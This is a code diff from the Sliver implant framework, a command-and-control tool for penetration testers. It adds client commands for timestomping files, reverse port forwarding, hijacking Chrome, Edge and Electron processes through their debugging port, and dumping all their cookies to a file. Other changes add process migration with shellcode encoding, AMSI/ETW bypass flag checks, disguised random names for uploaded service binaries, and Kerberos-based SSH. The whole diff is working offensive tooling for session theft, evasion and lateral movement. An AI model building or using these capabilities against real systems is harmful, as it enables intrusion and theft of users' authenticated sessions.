+			a.String("path", "path to the file to remove")
+			a.String("uid", "User, e.g. root")
+			a.String("gid", "Group, e.g. root")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			filesystem.ChownCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.ChtimesStr,
+		Help:     "Change access and modification times on a file (timestomp)",
+		LongHelp: help.GetHelpFor([]string{consts.ChtimesStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.String("path", "path to the file to remove")
+			a.String("atime", "Last accessed time in DateTime format, i.e. 2006-01-02 15:04:05")
+			a.String("mtime", "Last modified time in DateTime format, i.e. 2006-01-02 15:04:05")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			filesystem.ChtimesCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
 	// [ Websites ] ---------------------------------------------
 
 	websitesCmd := &grumble.Command{
@@ -2507,6 +2631,59 @@ func BindCommands(con *console.SliverConsoleClient) {
 	})
 	con.App.AddCommand(registryCmd)
 
+	// [ Reverse Port Forwarding ] --------------------------------------------------------------
+
+	rportfwdCmd := &grumble.Command{
+		Name:     consts.RportfwdStr,
+		Help:     "reverse port forwardings",
+		LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			rportfwd.RportFwdListenersCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	}
+	rportfwdCmd.AddCommand(&grumble.Command{
+		Name:     consts.AddStr,
+		Help:     "Add and start reverse port forwarding",
+		LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			rportfwd.StartRportFwdListenerCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.String("r", "remote", "", "remote address <ip>:<port> connection is forwarded to")
+			f.String("b", "bind", "", "bind address <ip>:<port> implants listen on")
+		},
+		HelpGroup: consts.SliverWinHelpGroup,
+	})
+	rportfwdCmd.AddCommand(&grumble.Command{
+		Name:     consts.RmStr,
+		Help:     "Stop and remove reverse port forwarding",
+		LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			rportfwd.StopRportFwdListenerCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.Int("i", "id", 0, "id of portfwd to remove")
+		},
+		HelpGroup: consts.SliverWinHelpGroup,
+	})
+
+	con.App.AddCommand(rportfwdCmd)
+
 	// [ Pivots ] --------------------------------------------------------------
 
 	pivotsCmd := &grumble.Command{
@@ -3343,7 +3520,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
 		HelpGroup: consts.GenericHelpGroup,
 		Flags: func(f *grumble.Flags) {
-			f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
+			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)`")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -3360,14 +3537,19 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
 		HelpGroup: consts.GenericHelpGroup,
 		Flags: func(f *grumble.Flags) {
-			f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
+			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
 			f.Bool("R", "restore", true, "restore the user's session after process termination")
 			f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
 			f.String("u", "user-data", "", "user data directory (blank string = auto)")
 			f.String("p", "payload", "", "cursed chrome payload file path (.js)")
+			f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
+			f.Bool("H", "headless", false, "start browser process in headless mode")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
+		Args: func(a *grumble.Args) {
+			a.StringList("args", "additional chrome cli arguments", grumble.Default([]string{}))
+		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
 			cursed.CursedChromeCmd(ctx, con)
@@ -3381,17 +3563,60 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
 		HelpGroup: consts.GenericHelpGroup,
 		Flags: func(f *grumble.Flags) {
-			f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
+			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
 			f.Bool("R", "restore", true, "restore the user's session after process termination")
 			f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
 			f.String("u", "user-data", "", "user data directory (blank string = auto)")
 			f.String("p", "payload", "", "cursed chrome payload file path (.js)")
+			f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
+			f.Bool("H", "headless", false, "start browser process in headless mode")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.StringList("args", "additional edge cli arguments", grumble.Default([]string{}))
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedEdgeCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.CursedElectron,
+		Help:      "Curse a remote Electron application",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.String("e", "exe", "", "remote electron executable absolute path")
+			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.StringList("args", "additional electron cli arguments", grumble.Default([]string{}))
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedElectronCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.CursedCookies,
+		Help:      "Dump all cookies from cursed process",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.String("s", "save", "", "save to file")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
-			cursed.CursedEdgeCmd(ctx, con)
+			cursed.CursedCookiesCmd(ctx, con)
 			con.Println()
 			return nil
 		},
@@ -3414,23 +3639,23 @@ func BindCommands(con *console.SliverConsoleClient) {
 			return nil
 		},
 	})
-	cursedCmd.AddCommand(&grumble.Command{
-		Name:      consts.CursedElectron,
-		Help:      "Curse a remote Electron application",
-		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
+	con.App.AddCommand(cursedCmd)
+
+	// [ Builders ] ---------------------------------------------
+	buildersCmd := &grumble.Command{
+		Name:      consts.BuildersStr,
+		Help:      "List external builders",
+		LongHelp:  help.GetHelpFor([]string{consts.BuildersStr}),
 		HelpGroup: consts.GenericHelpGroup,
 		Flags: func(f *grumble.Flags) {
-			f.String("e", "exe", "", "remote electron executable absolute path")
-			f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
-
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
-			cursed.CursedElectronCmd(ctx, con)
+			builders.BuildersCmd(ctx, con)
 			con.Println()
 			return nil
 		},
-	})
-	con.App.AddCommand(cursedCmd)
+	}
+	con.App.AddCommand(buildersCmd)
 }

client/command/cursed/cursed-chrome.go

@@ -175,7 +175,7 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
 	con.Printf("success!\n")
 
 	con.PrintInfof("Starting %s process ... ", name)
-	debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
+	debugPort := getRemoteDebuggerPort(ctx)
 	args := []string{
 		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
 	}
@@ -185,6 +185,16 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
 	if ctx.Flags.Bool("restore") {
 		args = append(args, "--restore-last-session")
 	}
+	if ctx.Flags.Bool("keep-alive") {
+		args = append(args, "--keep-alive-for-test")
+	}
+	if ctx.Flags.Bool("headless") {
+		args = append(args, "--headless")
+	}
+	additionalArgs := ctx.Args.StringList("args")
+	if len(additionalArgs) > 0 {
+		args = append(args, additionalArgs...)
+	}
 
 	// Execute the Chrome process with the extra flags
 	// TODO: PPID spoofing, etc.

client/command/cursed/cursed-console.go

@@ -52,7 +52,7 @@ func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 	con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
-	startCursedConsole(curse, target, con)
+	startCursedConsole(curse, true, target, con)
 }
 
 func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
@@ -89,7 +89,13 @@ func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.Sliver
 	return &selectedTarget
 }
 
-func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
+var (
+	helperHooks = []string{
+		"console.log = (...a) => {return a;}", // console.log
+	}
+)
+
+func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
 	tmpFile, _ := ioutil.TempFile("", "cursed")
 	reader, err := readline.NewEx(&readline.Config{
 		Prompt:      "\033[31mcursed »\033[0m ",
@@ -104,6 +110,19 @@ func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugT
 		con.PrintErrorf("Failed to create read line: %s\n", err)
 		return
 	}
+
+	if helpers {
+		// Execute helper hooks
+		ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
+		for _, hook := range helperHooks {
+			_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+			}
+		}
+	}
+
+	con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
 	for {
 		line, err := reader.Readline()
 		if err == readline.ErrInterrupt {
@@ -116,8 +135,38 @@ func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugT
 			break
 		}
 		switch strings.TrimSpace(line) {
+
+		case ":help":
+			con.Println()
+			con.Println("Available commands:")
+			con.Println("  :file - Execute local .js file")
+			con.Println("  :help - Show this help")
+			con.Println("  :exit - Exit the console")
+			con.Println()
+
+		case ":file":
+			jsCode, err := ioutil.ReadFile(line)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				continue
+			}
+			ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
+			result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				continue
+			}
+			con.Println()
+			if 0 < len(result) {
+				con.Printf("%s\n", result)
+				con.Println()
+			}
+
+		case ":exit":
+			fallthrough
 		case "exit":
 			return
+
 		default:
 			ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
 			result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
@@ -131,5 +180,4 @@ func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugT
 			}
 		}
 	}
-
 }

client/command/cursed/cursed-cookies.go

@@ -0,0 +1,69 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"io/ioutil"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/desertbit/grumble"
+)
+
+func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	curse := selectCursedProcess(con)
+	if curse == nil {
+		return
+	}
+	con.Println()
+
+	cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
+	if err != nil {
+		con.PrintErrorf("Failed to dump cookies: %s\n", err)
+		return
+	}
+
+	con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
+	if len(cookies) == 0 {
+		return
+	}
+	saveFile := ctx.Flags.String("save")
+	if saveFile == "" {
+		saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
+	}
+	jsonCookies := []string{}
+	for _, cookie := range cookies {
+		jsonCookie, err := cookie.MarshalJSON()
+		if err != nil {
+			con.PrintErrorf("Failed to marshal cookie: %s\n", err)
+			continue
+		}
+		jsonCookies = append(jsonCookies, string(jsonCookie))
+	}
+	err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
+	if err != nil {
+		con.PrintErrorf("Failed to save cookies: %s\n", err)
+		return
+	}
+	con.PrintInfof("Saved to %s", saveFile)
+	con.Println()
+}

client/command/cursed/cursed-electron.go

@@ -149,10 +149,14 @@ func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *gr
 
 func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
 	con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
-	debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
+	debugPort := getRemoteDebuggerPort(ctx)
 	args := []string{
 		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
 	}
+	additionalArgs := ctx.Args.StringList("args")
+	if len(additionalArgs) > 0 {
+		args = append(args, additionalArgs...)
+	}
 
 	// Execute the Chrome process with the extra flags
 	// TODO: PPID spoofing, etc.

client/command/cursed/cursed.go

@@ -21,6 +21,7 @@ package cursed
 import (
 	"bytes"
 	"fmt"
+	insecureRand "math/rand"
 	"strconv"
 	"strings"
 	"text/tabwriter"
@@ -35,6 +36,7 @@ import (
 
 // CursedChromeCmd - Execute a .NET assembly in-memory
 func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	// Collect existing curses from core
 	cursedProcesses := [][]string{}
 	core.CursedProcesses.Range(func(key, value interface{}) bool {
 		curse := value.(*core.CursedProcess)
@@ -48,6 +50,7 @@ func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		})
 		return true
 	})
+	// Display table if we have 1 or more curses
 	if 0 < len(cursedProcesses) {
 		tw := table.NewWriter()
 		tw.SetStyle(settings.GetTableStyle(con))
@@ -67,6 +70,7 @@ func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 }
 
+// selectCursedProcess - Interactively select a cursed process from a list
 func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
 	cursedProcesses := []*core.CursedProcess{}
 	core.CursedProcesses.Range(func(key, value interface{}) bool {
@@ -107,3 +111,11 @@ func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
 	selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
 	return port2process[selectedPortNumber]
 }
+
+func getRemoteDebuggerPort(ctx *grumble.Context) int {
+	port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
+	if port == 0 {
+		port = insecureRand.Intn(30000) + 10000
+	}
+	return port
+}

client/command/exec/execute-assembly.go

@@ -20,7 +20,7 @@ package exec
 
 import (
 	"context"
-	"io/ioutil"
+	"os"
 	"path/filepath"
 	"strings"
 
@@ -50,7 +50,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 			return
 		}
 	}
-	assemblyBytes, err := ioutil.ReadFile(assemblyPath)
+	assemblyBytes, err := os.ReadFile(assemblyPath)
 	if err != nil {
 		con.PrintErrorf("%s", err.Error())
 		return
@@ -60,14 +60,20 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	process := ctx.Flags.String("process")
 	processArgsStr := ctx.Flags.String("process-arguments")
 	processArgs := strings.Split(processArgsStr, " ")
+	inProcess := ctx.Flags.Bool("in-process")
 
 	runtime := ctx.Flags.String("runtime")
 	etwBypass := ctx.Flags.Bool("etw-bypass")
 	amsiBypass := ctx.Flags.Bool("amsi-bypass")
 
+	if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
+		con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
+		return
+	}
+
 	assemblyArgsStr := strings.Join(assemblyArgs, " ")
 	assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
-	if len(assemblyArgsStr) > 256 {
+	if len(assemblyArgsStr) > 256 && !inProcess {
 		con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
 		confirm := false
 		prompt := &survey.Confirm{Message: "Do you want to continue?"}
@@ -90,11 +96,11 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		ClassName:   ctx.Flags.String("class"),
 		AppDomain:   ctx.Flags.String("app-domain"),
 		ProcessArgs: processArgs,
-		PPid:        uint32(ctx.Flags.Int("ppid")),
+		PPid:        uint32(ctx.Flags.Uint("ppid")),
 		Runtime:     runtime,
 		EtwBypass:   etwBypass,
 		AmsiBypass:  amsiBypass,
-		InProcess:   ctx.Flags.Bool("in-process"),
+		InProcess:   inProcess,
 	})
 	ctrl <- true
 	<-ctrl

client/command/exec/execute-shellcode.go

@@ -23,7 +23,6 @@ import (
 	"context"
 	"fmt"
 	"io"
-	"io/ioutil"
 	"log"
 	"os"
 
@@ -52,7 +51,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	}
 	pid := ctx.Flags.Uint("pid")
 	shellcodePath := ctx.Args.String("filepath")
-	shellcodeBin, err := ioutil.ReadFile(shellcodePath)
+	shellcodeBin, err := os.ReadFile(shellcodePath)
 	if err != nil {
 		con.PrintErrorf("%s\n", err.Error())
 		return
@@ -82,7 +81,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 			Data:         shellcodeBin,
 		})
 		if err != nil {
-			con.PrintErrorf("%s\n", err.Error())
+			con.PrintErrorf("%s\n", err)
 			return
 		}
 		oldSize := len(shellcodeBin)

client/command/exec/execute.go

@@ -18,7 +18,6 @@ package exec
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
 	"os"
 	"path/filepath"
 	"strings"
@@ -242,7 +241,7 @@ func SaveExecutionOutput(executionOutput string, commandName string, hostName st
 
 	outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
 
-	outFilePath, err = ioutil.TempFile("", outFileName)
+	outFilePath, err = os.CreateTemp("", outFileName)
 
 	if err != nil {
 		con.PrintErrorf("%s\n", err)

client/command/exec/migrate.go

@@ -3,14 +3,17 @@ package exec
 /*
 	Sliver Implant Framework
 	Copyright (C) 2019  Bishop Fox
+
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
 	the Free Software Foundation, either version 3 of the License, or
 	(at your option) any later version.
+
 	This program is distributed in the hope that it will be useful,
 	but WITHOUT ANY WARRANTY; without even the implied warranty of
 	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 	GNU General Public License for more details.
+
 	You should have received a copy of the GNU General Public License
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
@@ -18,9 +21,11 @@ package exec
 import (
 	"context"
 	"fmt"
+	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
 )
 
@@ -31,14 +36,50 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
-	pid := ctx.Args.Uint("pid")
+	pid := ctx.Flags.Uint("pid")
+	procName := ctx.Flags.String("process-name")
+	if pid == 0 && procName == "" {
+		con.PrintErrorf("Error: Must specify either a PID or process name\n")
+		return
+	}
+	if procName != "" {
+		procCtrl := make(chan bool)
+		con.SpinUntil(fmt.Sprintf("Searching for %s ...", procName), procCtrl)
+		proc, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+			Request: con.ActiveTarget.Request(ctx),
+		})
+		if err != nil {
+			con.PrintErrorf("Error: %v\n", err)
+			return
+		}
+		procCtrl <- true
+		<-procCtrl
+		for _, p := range proc.GetProcesses() {
+			if strings.ToLower(p.Executable) == strings.ToLower(procName) {
+				pid = uint(p.Pid)
+				break
+			}
+		}
+		if pid == 0 {
+			con.PrintErrorf("Error: Could not find process %s\n", procName)
+			return
+		}
+		con.PrintInfof("Process name specified, overriding PID with %d\n", pid)
+	}
 	config := con.GetActiveSessionConfig()
+	encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
+	if ctx.Flags.Bool("disable-sgn") {
+		encoder = clientpb.ShellcodeEncoder_NONE
+	}
+
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
+
 	migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
 		Pid:     uint32(pid),
 		Config:  config,
 		Request: con.ActiveTarget.Request(ctx),
+		Encoder: encoder,
 	})
 	ctrl <- true
 	<-ctrl

client/command/exec/psexec.go

@@ -21,17 +21,19 @@ package exec
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
-	insecureRand "math/rand"
+	"os"
 	"strings"
 	"time"
 
+	insecureRand "math/rand"
+
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/server/codenames"
 	"github.com/bishopfox/sliver/util/encoders"
 	"github.com/desertbit/grumble"
 )
@@ -93,7 +95,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
 	} else {
 		// use a custom exe instead of generating a new Sliver
-		fileBytes, err := ioutil.ReadFile(customExe)
+		fileBytes, err := os.ReadFile(customExe)
 		if err != nil {
 			con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
 			return
@@ -101,7 +103,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		serviceBinary = fileBytes
 	}
 
-	filename := randomString(10)
+	filename := randomFileName()
 	filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
 	uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
 	// upload to remote target
@@ -172,11 +174,28 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
 }
 
-func randomString(length int) string {
-	var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
-	b := make([]byte, length)
-	for i := range b {
-		b[i] = charset[insecureRand.Intn(len(charset))]
+func randomFileName() string {
+	noun, _ := codenames.RandomNoun()
+	noun = strings.ToLower(noun)
+	switch insecureRand.Intn(3) {
+	case 0:
+		noun = strings.ToUpper(noun)
+	case 1:
+		noun = strings.ToTitle(noun)
 	}
-	return string(b)
+
+	separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
+	sep := separators[insecureRand.Intn(len(separators))]
+
+	alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
+	prefix := ""
+	for index := 0; index < insecureRand.Intn(3); index++ {
+		prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
+	}
+	suffix := ""
+	for index := 0; index < insecureRand.Intn(6)+1; index++ {
+		suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
+	}
+
+	return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
 }

client/command/exec/sideload.go

@@ -21,7 +21,7 @@ package exec
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
+	"os"
 	"path/filepath"
 	"strings"
 
@@ -45,11 +45,13 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	processName := ctx.Flags.String("process")
 	args := strings.Join(ctx.Args.StringList("args"), " ")
 
-	binData, err := ioutil.ReadFile(binPath)
+	binData, err := os.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s", err.Error())
 		return
 	}
+	processArgsStr := ctx.Flags.String("process-arguments")
+	processArgs := strings.Split(processArgsStr, " ")
 	isDLL := (filepath.Ext(binPath) == ".dll")
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
@@ -62,6 +64,8 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Kill:        !ctx.Flags.Bool("keep-alive"),
 		IsDLL:       isDLL,
 		IsUnicode:   ctx.Flags.Bool("unicode"),
+		PPid:        uint32(ctx.Flags.Uint("ppid")),
+		ProcessArgs: processArgs,
 	})
 	ctrl <- true
 	<-ctrl

client/command/exec/spawndll.go

@@ -1,9 +1,27 @@
 package exec
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
+	"os"
 	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
@@ -24,7 +42,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	processName := ctx.Flags.String("process")
 	exportName := ctx.Flags.String("export")
 
-	binData, err := ioutil.ReadFile(binPath)
+	binData, err := os.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return

client/command/exec/ssh.go

@@ -1,8 +1,26 @@
 package exec
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
-	"io/ioutil"
+	"os"
 	"strings"
 
 	"github.com/AlecAivazis/survey/v2"
@@ -31,9 +49,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	port := ctx.Flags.Uint("port")
-	privateKeypath := ctx.Flags.String("private-key")
-	if privateKeypath != "" {
-		privKey, err = ioutil.ReadFile(privateKeypath)
+	privateKeyPath := ctx.Flags.String("private-key")
+	if privateKeyPath != "" {
+		privKey, err = os.ReadFile(privateKeyPath)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -43,6 +61,22 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	hostname := ctx.Args.String("hostname")
 	command := ctx.Args.StringList("command")
+	kerberosRealm := ctx.Flags.String("kerberos-realm")
+	kerberosConfig := ctx.Flags.String("kerberos-config")
+	kerberosKeytabFile := ctx.Flags.String("kerberos-keytab")
+
+	if kerberosRealm != "" && kerberosKeytabFile == "" {
+		con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
+		return
+	}
+	kerberosKeytab := []byte{}
+	if kerberosKeytabFile != "" {
+		kerberosKeytab, err = os.ReadFile(kerberosKeytabFile)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
 
 	if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
 		oldUsername := username
@@ -59,6 +93,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		PrivKey:  privKey,
